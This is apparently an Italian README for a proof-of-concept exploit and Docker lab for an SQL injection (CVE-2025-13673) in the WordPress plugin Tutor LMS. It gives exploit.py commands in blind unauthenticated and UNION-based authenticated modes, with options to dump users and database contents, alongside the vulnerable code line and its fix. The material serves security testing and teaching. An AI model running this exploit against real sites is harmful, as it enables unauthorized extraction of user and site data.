
CVE-2025-13673: Iniezione SQL in Tutor LMS PoC + laboratorio Docker
SQL Injection non autenticata nel plugin WordPress Tutor LMS (<= 3.9.6) tramite il parametro coupon_code.
# 1. Clona e avvia il laboratorio
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh # Deploy di WordPress + Tutor LMS 3.9.3
# 2. Esegui l'exploit
pip install requests # unica dipendenza
# Non autenticato (time-based blind — nessuna credenziale necessaria)
python3 exploit.py http://localhost:8080
# Autenticato (UNION-based — estrazione immediata)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all
| Campo | Valore |
|---|---|
| CVE | CVE-2025-13673 |
| Interessato | Tutor LMS <= 3.9.6 |
| Corretto | 3.9.7 |
| Tipo | SQL Injection (CWE-89) |
| CVSS | 7.5 / 9.3 |
| Autenticazione | Nessuna (blind) / Abbonato (UNION) |
QueryHelper::prepare_where_clause() costruisce clausole SQL WHERE con concatenazione di stringhe grezze:
// helpers/QueryHelper.php — VULNERABILE
$value = is_numeric( $value ) ? $value : "'" . $value . "'";
Nessun escaping. Un singolo apostrofo esce dal letterale e permette SQL arbitrario.
Non autenticato: POST / con tutor_action=tutor_pay_now. L'hook init di WordPress esegue questa azione per tutti i visitatori. Il _tutor_nonce è incorporato in ogni pagina del frontend ed è valido per sessioni anonime. Estrazione dati tramite SLEEP().
Abbonato+: POST /wp-admin/admin-ajax.php con action=tutor_apply_coupon. Restituisce JSON con dati UNION SELECT iniettati — due colonne riflesse nella risposta per un'estrazione immediata.
- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // Il valore ora viene passato tramite $wpdb->prepare('%s', $value)
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
[--dump-users] [--db-info] [--options] [--all]
[--delay DELAY]
url
Modalità:
Default (senza -u/-p): SQLi non autenticata time-based blind
Con -u/-p: UNION-based autenticata (veloce)
Esempi:
exploit.py http://target # blind non autenticato
exploit.py http://target -u student -p pass --all # UNION autenticato
# Test versione 3.9.5 (ha mitigazione parziale con esc_sql)
./setup.sh 3.9.5
# Test versione 3.9.7 (dovrebbe essere corretta)
./setup.sh 3.9.7
| File | Descrizione |
|---|---|
exploit.py | PoC a doppia modalità: blind non autenticato + UNION autenticato |
setup.sh | Deploy del laboratorio con un comando |
docker-compose.yml | WordPress 6.7 + MySQL 8.0 |
Solo per test di sicurezza autorizzati e scopi educativi.